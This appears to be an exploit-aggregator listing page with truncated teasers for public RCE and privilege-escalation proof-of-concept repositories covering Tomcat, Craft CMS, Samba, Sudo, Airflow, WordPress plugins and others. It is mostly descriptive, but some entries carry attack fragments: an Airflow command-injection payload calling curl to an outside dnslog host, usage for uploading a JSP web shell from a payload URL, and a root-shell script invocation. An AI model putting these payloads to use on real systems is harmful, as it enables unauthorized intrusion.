CVE-2024-6333

CVE-2024-6333 - Xerox Authenticated Remote Code Execution Authenticated Remote Code Execution vulnerability in Xerox WorkCentre printers via the Network Troubleshooting Log feature. Description The Network Troubleshooting Log functionality /properties/security/networktroubleshootinglog.php fails ...

CVE-2025-32432

CVE-2025-32432 - Craft CMS Unauthenticated RCE PoC Working proof-of-concept for CVE-2025-32432 , an unauthenticated remote code execution vulnerability in Craft CMS versions up to and including 5.6.16 also affects 4.x and 3.x trees on equivalent code paths. Search keywords: CVE-2025-32432, Craft...

cve-2022-1471-jira-lab

CVE-2022-1471 — Laboratorio de RCE de SnakeYAML contexto de Jira / Automation for Jira Laboratorio offline y autocontenido que demuestra el mecanismo detrás de CVE-2022-1471 deserialización insegura de SnakeYAML → RCE, CVSS 9.8, tal como se utiliza en el hallazgo de Jira / Jira Service Management...

CVE-2017-7494

SambaCry CVE-2017-7494 Exploit CVE-2017-7494/SambaCry allows authenticated users to upload a shared library to a writeable folder, and perform execution attack using the upload libraries. Vulnerability explanation SambaCry is a path-validation vulnerability in how Samba handles named-pipe request...

CVE-2024-45519-Zimbra-Real-Fix

CVE-2024-45519-Zimbra-Real-Fix Arreglo real de Zimbra CVE-2024-45519: el parche oficial está incompleto CVE-2024-45519 - Arreglo real para Zimbra ⚠️ Advertencia CVE-2024-45519 es una vulnerabilidad crítica de ejecución remota de código RCE CVSS 9.8 en Zimbra Collaboration Suite. Muchos...

CVE-2022-22947

CVE-2022-22947 Introduction to CVE-2022-22947 Spring Cloud Gateway Remote Code Execution Vulnerability CVE-2022-22947 occurs in the Actuator endpoint of Spring Cloud Gateway applications. When enabled, publicly exposed, and insecure, it is susceptible to code injection. Attackers can exploit this...

CVE-2025-32463

漏洞概述 CVE-2025-32463 影响 Sudo 1.9.14 至 1.9.16 版本（已在 1.9.17p1 中修复）。 当以 --chroot 选项调用 Sudo 时，它可能从攻击者控制的路径加载配置，导致任意代码执行和权限提升至 root。 用法：python3 CVE-2025-32463.py 这将弹出 root shell（视频 POC 已演示） CVSS 评分：7.8（高危） 影响：本地权限提升至 root。 受影响系统：存在漏洞的 Sudo 的 Linux 发行版（例如 Ubuntu 24.04 LTS、RHEL 等）。 要求 Python 3.8+ 存在漏洞的...

CVE-2025-24813-Exploit

CVE-2025-24813-Exploit Apache Tomcat Remote Code Execution RCE Exploit - CVE-2025-24813 🚀 Apache Tomcat RCE Exploit - CVE-2025-24813 🔥 Exploit & Detection Tool for Apache Tomcat RCE CVE-2025-24813 This repository contains a PoC Proof of Concept exploit for the Apache Tomcat Remote Code Execution...

CVE-2018-6574-go-get-RCE

CVE-2018-6574-Solution gcc -shared -o attack.so -fPIC attack.c...

CVE-2024-25600-EXPLOIT

CVE-2024-25600 - WordPress Bricks Builder Remote Code Execution RCE 🌐 The Bricks theme for WordPress has been identified as vulnerable to a critical security flaw known as CVE-2024-25600. This vulnerability affects all versions up to, and including, 1.9.6 of the Bricks Builder plugin. It poses a...

pwnacle-fusion

pwnacle-fusion Automated exploit for Oracle Reports, CVE-2012-3153 / CVE-2012-3152 Credits to @misssudo for the disclosure Usage: ./pwnacle.rb targeturl payloadurl This exploit uses both CVEs to upload a .jsp shell from your payloadurl which is then reachable from /reports/images/shell.jsp...

CVE-2026-59827

CVE-2026-59827: Deserialización insegura en consultas nativas H2 de Metabase Severidad: Crítica CVSS 9.9 CVE: CVE-2026-59827 Aviso: GHSA-w95f-x9v9-wv36 Reportado por: Matheus Gutierre @Gutierre0x80 Publicado: 30 de junio de 2026 Resumen de la vulnerabilidad Un usuario autenticado con acceso a...

CVE-2022-40127

CVE-2022-40127 Apache Airflow .env docker-compose up airflow-init docker-compose up -d waiting some times open localhost:8080 POC 1 examplebashoperator root@kitploit: "fxoxx":"";curl uname.lxx2.535ld4zn.dnslog.pw;"" dnslog via POC 2 root@kitploit: curl -X 'POST' ...

CVE-2026-3288

CVE-2026-3288: ingress-nginx Configuration Injection via rewrite-target Annotation Keywords: CVE-2026-3288, ingress-nginx vulnerability, Kubernetes security, nginx configuration injection, rewrite-target annotation, RCE, Secret disclosure, CWE-20, CAPEC-176, ingress-nginx CVE 2026, Kubernetes...

Exploit for CVE-2026-89274

CVE-2026-89274 — WP Recipe Maker Arbitrary Shortcode Execution...

CVE-2024-28397-exploit

js2py Sandbox Escape CVE-2024-28397 Exploit for remote command execution RCE via sandbox escape in js2py = 0.74. Allows arbitrary code execution on the host system through insecure JavaScript evaluation. Vulnerability CVE : CVE-2024-28397 Component : js2py Affected versions : = 0.74 Impact : Remo...

Exploit for CVE-2026-92229

CVE-2026-92229 — Forminator Unauthenticated Arbitrary Shortcod...

js2py-Sandbox-Escape-CVE-2024-28397-RCE

CVE-2024-28397 js2py Sandbox Escape Exploit A collection of exploit scripts targeting the js2py sandbox escape vulnerability CVE-2024-28397 that allows arbitrary code execution through Python object introspection. 🔍 Vulnerability Overview The js2py library contains a critical sandbox escape...

WG-CVE-2026-1555-Linux

root@kitploit: ██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═████╗╚════██╗██╔════╝ ██║ ██║ ██║█████╗ █████╔╝██║██╔██║ █████╔╝███████╗ ██║ ╚██╗ ██╔╝██╔══╝ ██╔═══╝ ████╔╝██║██╔═══╝ ██╔═══██╗ ╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝███████╗╚██████╔╝...

CVE-2025-24813-PoC

CVE-2025-24813 – Proof of Concept 📖 Overview This repository contains a Proof of Concept PoC for CVE-2025-24813 , a vulnerability affecting affected software/product name here – update based on advisory. The PoC demonstrates the issue in a safe and reproducible way , to help researchers, defender...